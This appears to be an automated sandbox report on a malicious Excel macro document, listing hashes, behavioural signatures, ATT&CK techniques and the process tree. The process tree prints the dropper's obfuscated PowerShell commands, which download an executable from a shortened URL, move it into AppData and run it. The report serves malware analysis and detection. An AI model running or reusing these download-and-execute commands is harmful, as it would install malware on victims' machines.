e3135524707805846676cd7c532842a58e3592d4feda5f162443175e32032ec5

Analysis

max time kernel
135s
max time network
137s
platform
windows7_x64
resource
win7v20201028
submitted
11-11-2020 01:50

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General

Target

SecuriteInfo.com.Exploit.Siggen2.64979.3440.25529.xls
Size

75KB
MD5

3ee1d217550d9a55c163425be47b8011
SHA1

1bbfcfca3f3825519f9f788e22e44729b8076ead
SHA256

e3135524707805846676cd7c532842a58e3592d4feda5f162443175e32032ec5
SHA512

e3166273eac7e2bce19faabbb8b95e807fd66fa17e29adf3563df2fbbd55af68c2625021ba44070f81e7f600cd8537772457cdd6586c95f464ec011c9308a6b8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/7gX8MWJ

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	596	1904	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1928	1904	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	316	1904	cmd.exe	EXCEL.EXE

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1488 powershell.exe
10 1488 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
8	1488	powershell.exe
10	1488	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1904 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1956 powershell.exe
1488 powershell.exe
616 powershell.exe
616 powershell.exe
1956 powershell.exe
1488 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1956 powershell.exe
Token: SeDebugPrivilege 1488 powershell.exe
Token: SeDebugPrivilege 616 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1904 EXCEL.EXE
1904 EXCEL.EXE
1904 EXCEL.EXE

pid	process
1904	EXCEL.EXE

pid	process
1956	powershell.exe
1488	powershell.exe
616	powershell.exe
616	powershell.exe
1956	powershell.exe
1488	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe

pid	process
1904	EXCEL.EXE
1904	EXCEL.EXE
1904	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 1904 wrote to memory of 596	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 596	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 596	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 596	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 1928	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 1928	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 1928	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 1928	1904	EXCEL.EXE	cmd.exe
PID 596 wrote to memory of 1488	596	cmd.exe	powershell.exe
PID 596 wrote to memory of 1488	596	cmd.exe	powershell.exe
PID 596 wrote to memory of 1488	596	cmd.exe	powershell.exe
PID 596 wrote to memory of 1488	596	cmd.exe	powershell.exe
PID 1904 wrote to memory of 316	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 316	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 316	1904	EXCEL.EXE	cmd.exe
PID 1904 wrote to memory of 316	1904	EXCEL.EXE	cmd.exe
PID 1928 wrote to memory of 1956	1928	cmd.exe	powershell.exe
PID 1928 wrote to memory of 1956	1928	cmd.exe	powershell.exe
PID 1928 wrote to memory of 1956	1928	cmd.exe	powershell.exe
PID 1928 wrote to memory of 1956	1928	cmd.exe	powershell.exe
PID 316 wrote to memory of 616	316	cmd.exe	powershell.exe
PID 316 wrote to memory of 616	316	cmd.exe	powershell.exe
PID 316 wrote to memory of 616	316	cmd.exe	powershell.exe
PID 316 wrote to memory of 616	316	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.64979.3440.25529.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\cmd.exe
cmd /cpowe^rshell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/7gX8MWJ'),'as.exe')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/7gX8MWJ'),'as.exe')
3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488

C:\Windows\SysWOW64\cmd.exe
cmd /cpowe^rshell -w 1 stARt`-slE`Ep 20; Move-Item "as.exe" -Destination "${enV`:appdata}"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 20; Move-Item "as.exe" -Destination "${enV`:appdata}"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956

C:\Windows\SysWOW64\cmd.exe
cmd /cpowe^rshell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./as.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./as.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:616

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
fe09e481b33f5ff9d774f2869dddc371

SHA1
5d50e539ca946bd8ec2372a762c8090cf97c89d8

SHA256
64788619377c5b40be94198e3ffc54335bc2e7fed218ea5f6863ed0449e43d47

SHA512
7e248abfb0e8e3c55df27942f7ad822198f42c248a63f75bd0dd8098733ec794201c9c663637c1deaebdb6569974f61fc4508e1b73fcbd77c02a849fd9ef28e0

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
a21d083b2d3a9dd85e399dae84811377

SHA1
6881cfde928cbd8f040d47de0a11bf0a19fe2e32

SHA256
58cfb6c239d9348c0d36a690a08be7840b9edb93eaedd6ab1fbe1eac4dfb1a1e

SHA512
ee5188b3c8a6b6f05a0158038e9faa8e70f446b2810d20393e6bf0a19312f97160783680b4df13d8b9cbba89a9026a46ee1a8b310fb0f5ffbb429ed54d690418

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
8b06e1facd5449db5d47d022ccbf6200

SHA1
8a1905a62de6e884edfb179e5d2a2447747d2ee2

SHA256
e79869f433931864483c2ff753d4d89617beea4041323db5959ef449383ad67e

SHA512
8e4a21df1c7b52fc44dd366f91485d8154f5afbb5c5f7cbc3b0299629af14f719416fe3ef9de045602d1464678f8c7a57552e8087368a33ccc6f19eced3d29fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
57e7329bd38a764567c3b5f2a973a341

SHA1
698da742b8a0825361c3f8639e77e9e4ec618144

SHA256
2de6aa740a16941272a4378f93dab14aa1fcaf5a7bf92735726b592c9d643707

SHA512
463e8d8daea2bf4c82361f46c543146a6af639f735de536ddd796c4ac9a489582889eae427b2c74de60104cce846ce2e421fbc27f6659c609c9c945566005129

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
ec8cd192bbc27211004f86edd2db25c0

SHA1
3f3ef8b9a41dfeebec7b5d095ae8052a1235f372

SHA256
d2c3288f98d424f9a5208c4ba9b0f34ee85e6abd2c00e3ca764c44d19cf49ebd

SHA512
4976857c70a23fe54e2f62299a329f89660f1eab50f29a1fdba7f065c4151cc4b0efbb72d13386b1cf98376900118fc8ca7d6e69bc4604be2b5001a15e450275

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
ec8cd192bbc27211004f86edd2db25c0

SHA1
3f3ef8b9a41dfeebec7b5d095ae8052a1235f372

SHA256
d2c3288f98d424f9a5208c4ba9b0f34ee85e6abd2c00e3ca764c44d19cf49ebd

SHA512
4976857c70a23fe54e2f62299a329f89660f1eab50f29a1fdba7f065c4151cc4b0efbb72d13386b1cf98376900118fc8ca7d6e69bc4604be2b5001a15e450275

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memory/316-7-0x0000000000000000-mapping.dmp

Download
memory/596-2-0x0000000000000000-mapping.dmp

Download
memory/616-75-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/616-60-0x0000000005690000-0x0000000005691000-memory.dmp

Filesize
4KB

Download
memory/616-35-0x00000000060F0000-0x00000000060F1000-memory.dmp

Filesize
4KB

Download
memory/616-42-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/616-18-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/616-74-0x0000000006600000-0x0000000006601000-memory.dmp

Filesize
4KB

Download
memory/616-24-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/616-29-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/616-50-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/616-12-0x000000006B940000-0x000000006C02E000-memory.dmp

Filesize
6.9MB

Download
memory/616-34-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download
memory/616-9-0x0000000000000000-mapping.dmp

Download
memory/1488-13-0x000000006B940000-0x000000006C02E000-memory.dmp

Filesize
6.9MB

Download
memory/1488-6-0x0000000000000000-mapping.dmp

Download
memory/1904-0-0x0000000000458000-0x000000000045C000-memory.dmp

Filesize
16KB

Download
memory/1904-1-0x0000000006750000-0x0000000006751000-memory.dmp

Filesize
4KB

Download
memory/1904-76-0x0000000006750000-0x0000000006751000-memory.dmp

Filesize
4KB

Download
memory/1928-4-0x0000000000000000-mapping.dmp

Download
memory/1956-8-0x0000000000000000-mapping.dmp

Download
memory/1956-21-0x0000000004780000-0x0000000004781000-memory.dmp

Filesize
4KB

Download
memory/1956-14-0x000000006B940000-0x000000006C02E000-memory.dmp

Filesize
6.9MB

Download
memory/1956-15-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download